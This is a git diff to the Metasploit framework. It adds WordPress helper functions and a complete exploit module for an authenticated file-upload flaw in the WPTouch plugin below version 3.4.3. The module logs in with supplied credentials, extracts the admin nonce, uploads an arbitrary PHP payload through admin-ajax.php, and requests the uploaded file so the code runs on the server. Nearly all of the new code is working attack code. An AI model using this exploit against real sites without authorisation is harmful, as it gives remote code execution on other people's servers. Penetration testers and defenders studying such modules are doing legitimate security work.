diff --git a/lib/msf/http/wordpress/login.rb b/lib/msf/http/wordpress/login.rb index c0219163bb..56b2d2da5f 100644 --- a/lib/msf/http/wordpress/login.rb +++ b/lib/msf/http/wordpress/login.rb @@ -15,21 +15,7 @@ module Msf::HTTP::Wordpress::Login }) if res and (res.code == 301 or res.code == 302) and res.headers['Location'] == redirect - match = res.get_cookies.match(/(wordpress(?:_sec)?_logged_in_[^=]+=[^;]+);/i) - # return wordpress login cookie - return match[0] if match - - # support for older wordpress versions - # Wordpress 2.0 - match_user = res.get_cookies.match(/(wordpressuser_[^=]+=[^;]+);/i) - match_pass = res.get_cookies.match(/(wordpresspass_[^=]+=[^;]+);/i) - # return wordpress login cookie - return "#{match_user[0]} #{match_pass[0]}" if (match_user and match_pass) - - # Wordpress 2.5 - match_2_5 = res.get_cookies.match(/(wordpress_[a-z0-9]+=[^;]+);/i) - # return wordpress login cookie - return match_2_5[0] if match_2_5 + return res.get_cookies end return nil end diff --git a/lib/msf/http/wordpress/uris.rb b/lib/msf/http/wordpress/uris.rb index 19fd567fc4..659b419572 100644 --- a/lib/msf/http/wordpress/uris.rb +++ b/lib/msf/http/wordpress/uris.rb @@ -66,4 +66,18 @@ module Msf::HTTP::Wordpress::URIs normalize_uri(target_uri.path, 'wp-links-opml.php') end + # Returns the Wordpress Backend URL + # + # @return [String] Wordpress Backend URL + def wordpress_url_backend + normalize_uri(target_uri.path, 'wp-admin/') + end + + # Returns the Wordpress Admin Ajax URL + # + # @return [String] Wordpress Admin Ajax URL + def wordpress_url_admin_ajax + normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php') + end + end diff --git a/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb b/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb new file mode 100644 index 0000000000..d1affb58a6 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb @@ -0,0 +1,172 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wordpress WPTouch Authenticated File Upload', + 'Description' => %q{ + The Wordpress WPTouch plugin contains an auhtenticated file upload + vulnerability. A wp-nonce (CSRF token) is created on the backend index + page and the same token is used on handling ajax file uploads through + the plugin. By sending the captured nonce with the upload, we can + upload arbitrary files to the upload folder. Because the plugin also + uses it's own file upload mechanism instead of the wordpress api it's + possible to upload any file type. + The user provided does not need special rights. Also users with "Contributer" + role can be abused. + }, + 'Author' => + [ + 'Marc-Alexandre Montpas', # initial discovery + 'Christian Mehlmauer' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://blog.sucuri.net/2014/07/disclosure-insecure-nonce-generation-in-wptouch.html' ] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [ ['wptouch < 3.4.3', {}] ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 14 2014')) + + register_options( + [ + OptString.new('USER', [true, "A valid username", nil]), + OptString.new('PASSWORD', [true, "Valid password for the provided username", nil]), + ], self.class) + end + + def user + datastore['USER'] + end + + def password + datastore['PASSWORD'] + end + + def check + readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wptouch', 'readme.txt') + res = send_request_cgi({ + 'uri' => readme_url, + 'method' => 'GET' + }) + # no readme.txt present + if res.nil? || res.code != 200 + return Msf::Exploit::CheckCode::Unknown + end + + # try to extract version from readme + # Example line: + # Stable tag: 2.6.6 + version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1] + + # readme present, but no version number + if version.nil? + return Msf::Exploit::CheckCode::Detected + end + + print_status("#{peer} - Found version #{version} of the plugin") + + if Gem::Version.new(version) < Gem::Version.new('3.4.3') + return Msf::Exploit::CheckCode::Appears + else + return Msf::Exploit::CheckCode::Safe + end + end + + def get_nonce(cookie) + res = send_request_cgi({ + 'uri' => wordpress_url_backend, + 'method' => 'GET', + 'cookie' => cookie + }) + + # forward to profile.php or other page? + if res and res.code.to_s =~ /30[0-9]/ and res.headers['Location'] + location = res.headers['Location'] + print_status("#{peer} - Following redirect to #{location}") + res = send_request_cgi({ + 'uri' => location, + 'method' => 'GET', + 'cookie' => cookie + }) + end + + if res and res.body and res.body =~ /var WPtouchCustom = {[^}]+"admin_nonce":"([a-z0-9]+)"};/ + return $1 + else + return nil + end + end + + def upload_file(cookie, nonce) + filename = "#{rand_text_alpha(10)}.php" + + data = Rex::MIME::Message.new + data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"myfile\"; filename=\"#{filename}\"") + data.add_part('homescreen_image', nil, nil, 'form-data; name="file_type"') + data.add_part('upload_file', nil, nil, 'form-data; name="action"') + data.add_part('wptouch__foundation__logo_image', nil, nil, 'form-data; name="setting_name"') + data.add_part(nonce, nil, nil, 'form-data; name="wp_nonce"') + post_data = data.to_s + + print_status("#{peer} - Uploading payload") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => wordpress_url_admin_ajax, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data, + 'cookie' => cookie + }) + + if res and res.code == 200 and res.body and res.body.length > 0 + register_files_for_cleanup(filename) + return res.body + end + + return nil + end + + def exploit + print_status("#{peer} - Trying to login as #{user}") + cookie = wordpress_login(user, password) + if cookie.nil? + print_error("#{peer} - Unable to login as #{user}") + return + end + + print_status("#{peer} - Trying to get nonce") + nonce = get_nonce(cookie) + if nonce.nil? + print_error("#{peer} - Can not get nonce after login") + return + end + print_status("#{peer} - Got nonce #{nonce}") + + print_status("#{peer} - Trying to upload payload") + file_path = upload_file(cookie, nonce) + if file_path.nil? + print_error("#{peer} - Error uploading file") + return + end + + print_status("#{peer} - Calling uploaded file #{file_path}") + res = send_request_cgi({ + 'uri' => file_path, + 'method' => 'GET' + }) + end +end